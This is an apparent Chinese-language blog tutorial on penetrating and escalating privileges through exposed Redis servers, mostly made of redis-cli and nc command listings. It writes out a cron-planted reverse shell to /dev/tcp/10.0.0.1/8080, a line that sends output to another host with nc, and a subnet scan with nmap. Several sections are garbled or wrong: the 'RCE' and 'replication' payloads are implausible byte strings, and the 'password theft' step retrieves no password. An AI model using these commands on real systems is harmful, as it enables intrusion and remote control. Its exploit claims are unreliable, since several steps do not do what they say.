Redis雨后彩虹实战模式渗透提权(redis渗透提权)

Redis雨后彩虹:实战模式渗透提权

Redis作为一种常用的NoSQL数据库,具有高速度、高并发、高可用等特点,在Web开发中被广泛应用。然而,由于Redis在默认情况下开启了无认证的方式,并且Redis的功能非常强大,因此Redis也成为黑客攻击的重要目标。本文将通过实战模式,分享Redis渗透和提权相关的知识和技术。

一、Redis漏洞和攻击

1. Redis未授权访问漏洞

Redis未经授权访问漏洞是最容易被攻击的漏洞之一。当Redis实例监听的端口公网可访问时,如果没有设置密码,那么任何人都可以通过网络连接、直接使用redis-cli命令行等方式连接到Redis,并对其进行未授权操作。

常见的一些攻击方式如下:

(1)连接Redis进行信息泄露

“`bash

$ redis-cli -h 127.0.0.1 -p 6379

127.0.0.1:6379> info


(2)向Redis写入shell代码进行攻击

```bash
$ redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set x '*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
OK

(3)通过Redis取得服务器登录密码

“`bash

$ redis-cli -h 127.0.0.1 -p 6379

127.0.0.1:6379> config set dir /var/spool/cron/

OK

127.0.0.1:6379> config set dbfilename root

OK

127.0.0.1:6379> set cmd ‘/bin/bash -c “echo `whoami`:passwd | nc 10.0.0.1 6666″‘

OK

127.0.0.1:6379> bgrewriteaof

Background append only file rewriting started


2. Redis RCE漏洞

Redis RCE漏洞是由于Redis在处理某些数据类型时,没有正确的过滤或者限制用户输入,导致用户可以通过构造特定的数据进行远程代码执行的漏洞。可以使用以下命令复现Redis RCE漏洞。

(1)构造恶意数据

```bash
$ echo -e "\n\n*1\n$60000000\nuname\x20-a" | nc 127.0.0.1 6379

(2)命令执行结果被返回

3. Redis复制命令执行漏洞

Redis复制命令执行漏洞是由于Redis在处理复制数据时,没有对数据进行校验,导致攻击者可以向Redis实例中写入恶意数据,从而实现远程代码执行等攻击。可以使用以下命令复现Redis复制命令执行漏洞。

(1)构造恶意数据

“`bash

$ echo -e “*2\x0d\x0a$5\x0d\x0amaster\x0d\x0a$1073741824\x0d\x0a\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f” | nc 127.0.0.1 6379


(2)获取Redis中的数据

```bash
$ echo -e "config set dir /var/spool/cron/\r\nconfig set dbfilename root\r\nsetname test\r\nCONFIG GET *\r\n"|nc 127.0.0.1 6379

二、Redis渗透和提权

1. Redis渗透

针对Redis未经授权访问漏洞,渗透方法如下:

(1)扫描目标IP是否开启Redis服务,nmap命令如下:

“`bash

$ nmap -p 6379 -sV -Pn -T4 192.168.0.1/24


(2)连接Redis进行信息泄露,例如获取Master的IP和Port:

```bash
$ redis-cli -h 192.168.0.1 -p 6379
127.0.0.1:6379> info replication

(3)安装Redis Desktop Manager等Redis可视化工具,通过GUI图形界面进行未授权操作,并更加方便和快捷。

2. Redis提权

Redis提权是指攻击者通过利用Redis漏洞,提升自己的权限,以便更加深入的攻击目标系统。提权的方法有:

(1)利用Redis RCE漏洞执行命令,例如查看进程:

“`bash

127.0.0.1:6379> config set dir /var/spool/cron/

OK

127.0.0.1:6379> config set dbfilename root

OK

127.0.0.1:6379> set cmd ‘/bin/bash -c “ps -ef”‘

OK


(2)写入定时任务,例如每隔10秒执行命令:

```bash
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set cmd '* * * * * sleep 10;/bin/bash -c "id > /tmp/out"'
OK

(3)利用Redis复制命令执行漏洞,向Redis实例中写入恶意数据,并让Redis主从同步,从而实现提权。

综上所述,Redis安全问题不容忽视,系统管理员需要及时修补漏洞,加强安全配置,并监测异常行为。同时,攻击者针对Redis进行渗透和提权的方法也在不断更新和迭代,需要通过不断学习和实战应对,保障系统安全。


数据运维技术 » Redis雨后彩虹实战模式渗透提权(redis渗透提权)